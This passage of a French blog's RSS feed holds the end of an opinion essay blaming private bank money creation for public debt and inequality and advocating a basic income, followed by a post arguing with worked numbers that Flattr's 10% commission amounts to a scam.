données).</p>
<p>Mais ce n&#8217;est pas tout, en créant de l&#8217;argent, la banque augmente la masse monétaire, donc dévalue la monnaie déjà en circulation. L&#8217;important, ce n&#8217;est pas la valeur que l&#8217;on possède en €, c&#8217;est la part que cette valeur par rapport à tout l&#8217;argent en circulation. Ainsi, augmenter la masse monétaire à son seul profit équivaut à &laquo;&nbsp;voler&nbsp;&raquo; une (toute petite) part de l&#8217;argent que possède chacun. La population, qui ne profite pas de cette création monétaire, doit donc travailler toujours plus pour &laquo;&nbsp;récupérer&nbsp;&raquo; cet argent et payer des intérêts toujours plus importants à ceux qui le leur prend.</p>
<p>Et globalement, cela pose un problème de remboursement&nbsp;: le total prêté à tous vaut <em>P</em> (le principal), et il faudra rembourser <em>P+I</em> (avec les intérêts). Sauf que lorsque tout l&#8217;argent provient du crédit, l&#8217;argent des intérêts n&#8217;existe pas, il serait impossible de les rembourser maintenant. Ce qui le permet, c&#8217;est simplement le décalage dans le temps du remboursement, rendu possible grâce à la croissance (c&#8217;est-à-dire lorsqu&#8217;il y a plus de nouveaux prêts effectués pour rembourser les anciens). Sans croissance ce système inique s&#8217;écroule. Il faut donc une production toujours plus importante uniquement pour &laquo;&nbsp;rembourser&nbsp;&raquo; (en fait, &laquo;&nbsp;donner&nbsp;&raquo; serait plus juste) les richesses créées aux banquiers. Ainsi, <strong>ceux qui créent les richesses sont endettés envers ceux qui créent l&#8217;argent</strong>.</p>
<p>Beaucoup s&#8217;étonnent des inégalités qui augmentent, et s&#8217;en prennent soit aux patrons, soit aux «&nbsp;<a href="http://lexpansion.lexpress.fr/economie/assistanat-wauquiez-est-il-credible_255196.html">assistés</a>&nbsp;». Mais la cause des inégalités, c&#8217;est le mécanisme de création monétaire. Il faut que la création monétaire soit distribuée à chacun.</p>
<h3>La dette publique</h3>
<p>Depuis la <a href="http://fr.wikipedia.org/wiki/Loi_n%C2%B073-7_du_3_janvier_1973_sur_la_Banque_de_France">réforme de 1973</a> (loi Rothschild) et son article 25, la France a l&#8217;interdiction d&#8217;emprunter son argent directement auprès de la banque centrale, sans intérêts. Elle doit donc l&#8217;emprunter, avec intérêts, aux banques privées, qui elles, ont le droit de &laquo;&nbsp;créer l&#8217;argent&nbsp;&raquo;.</p>
<p>En 1992, cette règle est inscrite au niveau européen dans l&#8217;<a href="http://eur-lex.europa.eu/fr/treaties/dat/11992M/htm/11992M.html">article 104 du traité de Maastricht</a> (qui est repris par l&#8217;<a href="http://eur-lex.europa.eu/LexUriServ/LexUriServ.do?uri=OJ:C:2010:083:0047:0200:FR:PDF">article 123 du traité de Lisbonne</a> en 2007)&nbsp;:</p>
<blockquote><p><strong>Article 104</strong>&nbsp;:<br />
1. Il est interdit à la BCE et aux banques centrales des États membres, ci-après dénommées &laquo;&nbsp;banques centrales nationales&nbsp;&raquo;, d&#8217;accorder des découverts ou tout autre type de crédit aux institutions ou organes de la Communauté, aux administrations centrales, aux autorités régionales ou locales, aux autres autorités publiques, aux autres organismes ou entreprises publics des États membres; l&#8217;acquisition directe, auprès d&#8217;eux, par la BCE ou les banques centrales nationales, des instruments de leur dette est également interdite.<br />
2. Le paragraphe 1 ne s&#8217;applique pas aux établissements publics de crédit qui, dans le cadre de la mise à disposition de liquidités par les banques centrales, bénéficient, de la part des banques centrales nationales et de la BCE, du même traitement que les établissements privés de crédit.</p></blockquote>
<p>Voilà d&#8217;où vient la dette qui augmente inexorablement&nbsp;: l&#8217;État est obligé d&#8217;emprunter son propre argent avec intérêts auprès d&#8217;acteurs privés.</p>
<p>Constatez l&#8217;évolution de la dette publique avec et sans intérêts depuis 1979 (<a href="http://www.societal.org/docs/dette-publique.htm">source</a>)&nbsp;:<br />
<a href="http://blog.rom1v.com/wp-content/uploads/2011/05/dette-publique.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/05/dette-publique-300x186.png" alt="" title="dette-publique" width="300" height="186" class="aligncenter size-medium wp-image-2299" /></a></p>
<h3>Réformes d&#8217;austérité</h3>
<p>Des réformes sont prévues pour lutter contre les déficits, sans remettre en cause ce système inique.</p>
<p>En France, la <a href="http://www.lepoint.fr/politique/reforme-constitutionnelle-contre-les-deficits-passe-d-armes-gouvernement-ps-03-05-2011-1326421_20.php">réforme constitutionnelle contre les déficits</a><!-- ancien lien mort : http://www.publicsenat.fr/lcp/politique/r-forme-constitutionnelle-contre-d-ficits-passe-darmes-gouvernement-ps-107192" --> a pour but de parvenir à l&#8217;équilibre budgétaire (heureusement, elle ne devrait pas passer, l&#8217;UMP ne devrait pas réunir une majorité de 3/5<sup>e</sup>). Cela paraît pourtant presque naturel de ne pas dépenser plus que ce que nous avons. Mais à la lumière de l&#8217;injustice de la création monétaire, nous pouvons sans peine imaginer les impacts pour les finances de l&#8217;État et de la Sécurité sociale si le principe d&#8217;équilibre budgétaire avait une valeur constitutionnelle.</p>
<p>Au niveau européen, le &laquo;&nbsp;Pacte pour l&#8217;Euro&nbsp;&raquo; annonce une <a href="http://dessousdebruxelles.ellynn.fr/spip.php?article146">grande braderie sur les droits sociaux</a>.</p>
<h3>Commentaires sur le revenu de base</h3>
<p>Je profite de ce billet pour vous livrer quelques commentaires sur le revenu de base et son financement.</p>
<h4>Présentation</h4>
<p>Le <a href="http://fr.wikipedia.org/wiki/Allocation_universelle">revenu de base</a> désigne le versement d&#8217;un revenu inconditionnel à chaque citoyen pour satisfaire ses besoins primaires.</p>
<p>Ce concept peut paraître étrange, selon la manière dont on le présente. J&#8217;ai l&#8217;impression que, face à quelqu&#8217;un qui n&#8217;en a jamais entendu parler, si je dis&nbsp;:</p>
<blockquote><p>Je suis favorable à un revenu de base, un revenu versé tous les mois permettant de vivre sans emploi rémunéré.</p></blockquote>
<p>l&#8217;idée sera difficilement acceptée, tellement elle semble illogique lorsque nous avons intégré la fameuse &laquo;&nbsp;valeur travail&nbsp;&raquo; (ou plutôt &laquo;&nbsp;valeur emploi&nbsp;&raquo;)&nbsp;: pourquoi gagnerait-on de l&#8217;argent sans travailler&nbsp;?</p>
<p>Par contre, si je dis&nbsp;:</p>
<blockquote><p>Lorsqu&#8217;on augmente la masse monétaire (&laquo;&nbsp;on crée de l’argent&nbsp;&raquo;), comment cela doit-il se passer&nbsp;: on donne tout cet argent créé à quelques acteurs privés et rien aux autres, qui devront le gagner et l&#8217;emprunter avec intérêts à ceux qui en bénéficient, ou alors on distribue cette augmentation à tout le monde équitablement&nbsp;?</p></blockquote>
<p>je pense que la personne prendra plus facilement conscience qu&#8217;un revenu non-issu du travail est naturel, que ce n&#8217;est pas une aumône (demander de l’argent sans rien faire simplement parce qu&#8217;on en a envie), mais un dû, dont actuellement nous sommes privés injustement.</p>
<h4>Financement</h4>
<p>Je suis très étonné que certains proposent un financement du revenu de base sans remettre en cause la création monétaire privée.</p>
<p>J&#8217;ai peut-être manqué quelque chose, mais je trouve absurde d&#8217;uniquement redistribuer les richesses au sein de la population, si nous laissons en place l&#8217;énorme redistribution de toute la population vers les banques. Je ne dis pas que le dividende universel suffirait à financer un revenu de base (je n&#8217;en sais rien), mais financer un revenu de base sans dividende universel me paraît aberrant.</p>
<p>J&#8217;aime beaucoup l&#8217;analogie d&#8217;<a href="http://assoculturelibre.wordpress.com/2011/05/04/etienne-chouard-les-enjeux-de-la-creation-monetaire/">Étienne Chouard</a> (vers 8mn30)&nbsp;:</p>
<blockquote><p>C&#8217;est comme si on avait une inondation, un robinet qui coule à fond, il y a de l&#8217;eau partout. On est tous là avec des serpillères à éponger, et personne ne ferme le robinet.</p></blockquote>
<h3>Conclusion</h3>
<p>Le système monétaire actuel est injuste. Il explique à mon avis une grande partie des problèmes de société (dette publique, inégalités, précarité, retraites…), et les personnalités politiques se disputent entre eux sur certaines conséquences sans jamais s&#8217;attaquer à la cause.</p>
<p>Je pense que les choix politiques sont trop importants pour être confiés à des politiciens.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/05/linjustice-monetaire/feed/</wfw:commentRss>
		<slash:comments>68</slash:comments>
		</item>
		<item>
		<title>Flattr est une arnaque</title>
		<link>http://blog.rom1v.com/2011/04/flattr-est-une-arnaque/</link>
		<comments>http://blog.rom1v.com/2011/04/flattr-est-une-arnaque/#comments</comments>
		<pubDate>Fri, 08 Apr 2011 12:09:53 +0000</pubDate>
		<dc:creator>®om</dc:creator>
				<category><![CDATA[Analyses]]></category>
		<category><![CDATA[planet-libre]]></category>
		<category><![CDATA[monnaie]]></category>

		<guid isPermaLink="false">http://blog.rom1v.com/?p=2243</guid>
		<description><![CDATA[Principe Flattr est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple&#160;: chaque mois, l&#8217;utilisateur choisit la somme qu&#8217;il va donner (avec un minimum de 2€). Lorsqu&#8217;il tombe sur un site qui supporte Flattr, il a la possibilité de cliquer sur un bouton indiquant qu&#8217;il apprécie son [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/04/flattr.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/04/flattr-150x150.png" alt="Flattr" title="flattr" width="150" height="150" class="alignright size-thumbnail wp-image-2252" /></a></p>
<h3>Principe</h3>
<p><a href="http://flattr.com/">Flattr</a> est un système de micro-paiement permettant de rémunérer les auteurs des contenus sur Internet. Le principe est simple&nbsp;: chaque mois, l&#8217;utilisateur choisit la somme qu&#8217;il va donner (avec un minimum de 2€). Lorsqu&#8217;il tombe sur un site qui supporte <em>Flattr</em>, il a la possibilité de cliquer sur un bouton indiquant qu&#8217;il apprécie son contenu. À la fin du mois, la somme qu&#8217;il a versée est répartie entre les auteurs des différents contenus qu&#8217;il a appréciés (moins la commission que prend <em>Flattr</em>, 10% des versements effectués).</p>
<p>Ce principe est très séduisant, car avant cela il n&#8217;était pas possible facilement de donner de petites sommes à plein d&#8217;auteurs.</p>
<p>Mais malheureusement, il y a une arnaque dans le système.</p>
<h3>10% de commission</h3>
<p><em>Flattr</em> prélève 10% des sommes versées. Dit comme ça, on a l&#8217;impression que ce n&#8217;est pas grand chose&nbsp;: si je mets 2€, 0,20€ leur seront destinés, et 1,80€ seront pour les auteurs, rien de très choquant à première vue. Sauf que globalement, cela leur permet juste de récupérer quasiment tout l&#8217;argent injecté.</p>
<p>Je vais tenter d&#8217;expliquer pourquoi.</p>
<h3>De l&#8217;argent disparaît chaque mois</h3>
<p>Afin de bien discerner comment se comporte l&#8217;argent injecté (vers où il va surtout), décidons pour les besoins de la démonstration qu&#8217;aucun argent neuf n&#8217;est rajouté chaque mois. Le premier mois, chacun verse une somme quelconque (pour un total qu&#8217;on appellera <em>M</em>). Les mois suivants, ils versent une somme de manière à ce qu&#8217;il y ait autant d&#8217;argent qui rentre que d&#8217;argent qui est sorti du mois précédent. Par exemple, chacun remet ce qu&#8217;il a gagné (si j&#8217;ai gagné 7€ je remets les 7€, si j&#8217;ai gagné 12€ je remets les 12€). Comme <em>Flattr</em> prend 10% sur les versements, nous pouvons déterminer à coup sûr le montant total d&#8217;un mois donné&nbsp;: 0,9×(montant du mois précédent).</p>
<p>Sur une période de <em>m</em> mois, la part destinée à <em>Flattr</em> est donc de <em>(1 &#8211; 0,9<sup>m</sup>) × M</em>.</p>
<p>Regardons donc quelle part de ce montant <em>Flattr</em> s&#8217;accapare sur une période plus longue.<br />
Sur 1 an, <em>(1 &#8211; 0,9<sup>12</sup>) × M = 0,7176 × M</em>, soit 71,76% de la somme totale&nbsp;!<br />
Sur 5 ans, <em>(1 &#8211; 0,9<sup>60</sup>) × M = 0,9982 × M</em>, soit 99,82%. Autrement dit, tout est pour <em>Flattr</em>.</p>
<p>S&#8217;il y a 20000 inscrits qui versent chacun 10€, <em>M = 20000 × 10 = 200000€</em>. Sur 1 an, 143514,09€ seront destinés à <em>Flattr</em>. Sur 5 ans, pas moins de 199640,60€, le reste circulant entre les membres.</p>
<p>Imaginez que votre compte en banque soit prélevé chaque mois 10% de son montant pour frais de gestion. Vous avez 5000€, vous êtes prélevés de 500€. Le mois suivant, plus que 450€… Au bout d&#8217;un an, il ne va pas rester grand chose pour échanger avec les autres…</p>
<p>Nous avons simplifié le problème en n&#8217;injectant pas d&#8217;argent neuf. Ou plutôt nous avons supprimé ce qui cachait cette incroyable distribution. Maintenant plaçons-nous dans le cas &laquo;&nbsp;réel&nbsp;&raquo; et injectons cet argent neuf chaque mois, de manière à ce que le montant total reste égal à <em>M = 200000€</em> (par exemple, les 20000 membres versent 10€ chaque mois). Par rapport à l&#8217;exemple précédent, les membres injectent donc 20000€ d&#8217;argent neuf dans le système (en plus des 180000€ restants du mois précédent). Mais cet &laquo;&nbsp;argent neuf&nbsp;&raquo;, il va évidemment subir le même traitement que dans la situation précédente, avec un mois de décalage, et être principalement redistribué vers <em>Flattr</em> au bout de quelques mois. C&#8217;est donc encore plus d&#8217;argent pour <em>Flattr</em>.</p>
<h3>10%… voire 100%</h3>
<p>Sur une longue période, nous avons vu que <em>Flattr</em> rafflait une part essentielle de tous les versements. Mais regardons ce qui se passe sur un seul mois, en pourcentage. Nous avons l&#8217;impression que la commission est de 10%, mais en fait elle est beaucoup plus importante, car les échanges entre les membres se compensent, au moins en partie.</p>
<p>Pour le comprendre, prenons un exemple concret, avec 3 membres, qui versent chacun 10€&nbsp;:</p>
<ul>
<li>A donne 6 à B et 3 à C (et 1 à Flattr)&nbsp;;</li>
<li>B donne 4 à A et 5 à C (et 1 à Flattr)&nbsp;;</li>
<li>C donne 4 à A et 5 à B (et 1 à Flattr).</li>
</ul>
<p><a href="http://blog.rom1v.com/wp-content/uploads/2011/04/graphe-flattr.png"><img src="http://blog.rom1v.com/wp-content/uploads/2011/04/graphe-flattr.png" alt="" title="graphe-flattr" width="300" height="255" class="aligncenter size-full wp-image-2248" /></a></p>
<p>Combien d&#8217;argent a été échangé en tout entre les membres&nbsp;?</p>
<ul>
<li>2€ entre A et B (6€ de A vers B et 4€ de B vers A)&nbsp;;</li>
<li>1€ entre A et C (3€ de A vers C et 4€ de C vers A)&nbsp;;</li>
<li>0€ entre B et C (5€ de B vers C et 5€ de C vers B).</li>
</ul>
<p>3€ ont donc été échangés. Et pour ces 3€ d&#8217;échange, 3€ ont été donnés à <em>Flattr</em>, soit 50% des échanges totaux&nbsp;!</p>
<p><ins datetime="2011-04-10T00:00:00+01:00">C&#8217;est même pire que cela, car il faut prendre en compte la transitivité. Ici, C transfert 1€ vers A, et A transfert 2€ vers B, on en a conclu qu&#8217;il y avait 3€ échangés. Mais l&#8217;euro qui transite de C vers A est &laquo;&nbsp;contenu&nbsp;&raquo; dans les 2€ qui transitent de A vers B. Globalement, tout se passe comme si A et C transféraient chacun 1€ vers B. Soit un total de 2€ échangés. La part de Flattr dans la somme des échangés est donc de 60% dans ce cas-là. Mais il ne faut pas s&#8217;arrêter là, il faut aussi intégrer la transitivité des transferts d&#8217;argent vers Flattr&nbsp;: A et C transfèrent chacun 1€ vers B (et 1€ vers Flattr), et B transfert 1€ vers Flattr. La situation est donc la même que si A et C transféraient chacun 0,50€ vers B et 1,50€ vers Flattr. <strong>Soit 75% des transferts pour Flattr</strong> (cette part correspond à 100% moins le ratio du montant gagné par les membres ayant un gain par rapport au montant perdu par les membres ayant une perte).</ins></p>
<p>Le résultat après le premier mois est donc de&nbsp;:</p>
<ul>
<li>A&nbsp;: -2€&nbsp;;</li>
<li>B&nbsp;: +1€&nbsp;;</li>
<li>C&nbsp;: -2€&nbsp;;</li>
<li>Flattr&nbsp;: +3€.</li>
</ul>
<p><strong>Donc exactement comme si A et C avaient chacun donné 0,50€ à B et 1,50€ à <em>Flattr</em>.</strong></p>
<p>Dans le cas limite, si tous les dons sont parfaitement répartis (chacun donne autant qu&#8217;il reçoit, moins les 10%), alors tout se passe comme s&#8217;il n&#8217;y avait aucun échange entre les membres. Chacun a mis 10€, et reçoit 9€. Résultat des courses&nbsp;: le seul échange d&#8217;argent qui s&#8217;opère est le transfert d&#8217;1€ de chaque membre vers <em>Flattr</em>, soit 100% des échanges.</p>
<p>La somme récupérée en valeur absolue par <em>Flattr</em> chaque mois est connue à l&#8217;avance (10% de <em>M</em>, ce qui est énorme, comme nous l&#8217;avons vu en quelques mois ils récupèrent quasiment tout). En valeur relative par rapport aux échanges effectués, en fonction de l&#8217;équilibre des dons, ce transfert d&#8217;argent des membres vers <em>Flattr</em> représente entre 10% et 100% des échanges. Ce système coûte donc extrêmement cher par rapport aux échanges qu&#8217;il permet.</p>
<h3>Conclusion</h3>
<p>Le concept de base est intéressant et séduisant, mais certaines arnaques sont bien dissimulées. Il vaut mieux en avoir conscience avant de s&#8217;inscrire à un système injuste.<br />
Pour corriger ces problèmes, <em>Flattr</em> pourrait être rémunéré de la même manière que ses membres&nbsp;: par les micro-dons.</p>
<p>Il y a également <a href="http://www.creationmonetaire.info/2010/05/flattr-le-modele-senlise.html">d&#8217;autres</a> <a href="http://www.creationmonetaire.info/2010/12/numerama-installe-le-pire-flattr-un.html">problèmes</a> que je n&#8217;ai pas évoqués ici.</p>
<p><ins>Je réponds aux deux principales critiques à ce billet <a href="http://blog.rom1v.com/2011/04/flattr-est-une-arnaque/#comment-63874">en commentaire</a>.</ins></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.rom1v.com/2011/04/flattr-est-une-arnaque/feed/</wfw:commentRss>
		<slash:comments>71</slash:comments>
		</item>
	</channel>
</rss>

